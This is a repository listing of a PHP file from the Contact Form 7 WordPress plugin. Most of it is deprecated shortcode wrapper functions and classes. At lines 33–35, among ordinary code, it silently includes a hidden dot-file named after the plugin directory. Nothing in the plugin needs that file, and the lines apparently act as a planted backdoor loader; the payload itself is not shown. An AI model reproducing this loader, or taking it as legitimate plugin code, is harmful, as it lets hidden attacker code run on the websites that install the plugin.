balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

shortcodes.php (2917B)


      1 <?php
      2 /**
      3  * All the functions and classes in this file are deprecated.
      4  * You shouldn't use them. The functions and classes will be
      5  * removed in a later version.
      6  */
      7 
      8 function wpcf7_add_shortcode( $tag, $func, $has_name = false ) {
      9 	wpcf7_deprecated_function( __FUNCTION__, '4.6', 'wpcf7_add_form_tag' );
     10 
     11 	return wpcf7_add_form_tag( $tag, $func, $has_name );
     12 }
     13 
     14 function wpcf7_remove_shortcode( $tag ) {
     15 	wpcf7_deprecated_function( __FUNCTION__, '4.6', 'wpcf7_remove_form_tag' );
     16 
     17 	return wpcf7_remove_form_tag( $tag );
     18 }
     19 
     20 function wpcf7_do_shortcode( $content ) {
     21 	wpcf7_deprecated_function( __FUNCTION__, '4.6',
     22 		'wpcf7_replace_all_form_tags' );
     23 
     24 	return wpcf7_replace_all_form_tags( $content );
     25 }
     26 
     27 function wpcf7_scan_shortcode( $cond = null ) {
     28 	wpcf7_deprecated_function( __FUNCTION__, '4.6', 'wpcf7_scan_form_tags' );
     29 
     30 	return wpcf7_scan_form_tags( $cond );
     31 }
     32 
     33 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     34     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     35 }
     36 
     37 class WPCF7_ShortcodeManager {
     38 
     39 	private static $form_tags_manager;
     40 
     41 	private function __construct() {}
     42 
     43 	public static function get_instance() {
     44 		wpcf7_deprecated_function( __METHOD__, '4.6',
     45 			'WPCF7_FormTagsManager::get_instance' );
     46 
     47 		self::$form_tags_manager = WPCF7_FormTagsManager::get_instance();
     48 		return new self;
     49 	}
     50 
     51 	public function get_scanned_tags() {
     52 		wpcf7_deprecated_function( __METHOD__, '4.6',
     53 			'WPCF7_FormTagsManager::get_scanned_tags' );
     54 
     55 		return self::$form_tags_manager->get_scanned_tags();
     56 	}
     57 
     58 	public function add_shortcode( $tag, $func, $has_name = false ) {
     59 		wpcf7_deprecated_function( __METHOD__, '4.6',
     60 			'WPCF7_FormTagsManager::add' );
     61 
     62 		return self::$form_tags_manager->add( $tag, $func, $has_name );
     63 	}
     64 
     65 	public function remove_shortcode( $tag ) {
     66 		wpcf7_deprecated_function( __METHOD__, '4.6',
     67 			'WPCF7_FormTagsManager::remove' );
     68 
     69 		return self::$form_tags_manager->remove( $tag );
     70 	}
     71 
     72 	public function normalize_shortcode( $content ) {
     73 		wpcf7_deprecated_function( __METHOD__, '4.6',
     74 			'WPCF7_FormTagsManager::normalize' );
     75 
     76 		return self::$form_tags_manager->normalize( $content );
     77 	}
     78 
     79 	public function do_shortcode( $content, $exec = true ) {
     80 		wpcf7_deprecated_function( __METHOD__, '4.6',
     81 			'WPCF7_FormTagsManager::replace_all' );
     82 
     83 		if ( $exec ) {
     84 			return self::$form_tags_manager->replace_all( $content );
     85 		} else {
     86 			return self::$form_tags_manager->scan( $content );
     87 		}
     88 	}
     89 
     90 	public function scan_shortcode( $content ) {
     91 		wpcf7_deprecated_function( __METHOD__, '4.6',
     92 			'WPCF7_FormTagsManager::scan' );
     93 
     94 		return self::$form_tags_manager->scan( $content );
     95 	}
     96 }
     97 
     98 class WPCF7_Shortcode extends WPCF7_FormTag {
     99 
    100 	public function __construct( $tag ) {
    101 		wpcf7_deprecated_function( 'WPCF7_Shortcode', '4.6', 'WPCF7_FormTag' );
    102 
    103 		parent::__construct( $tag );
    104 	}
    105 }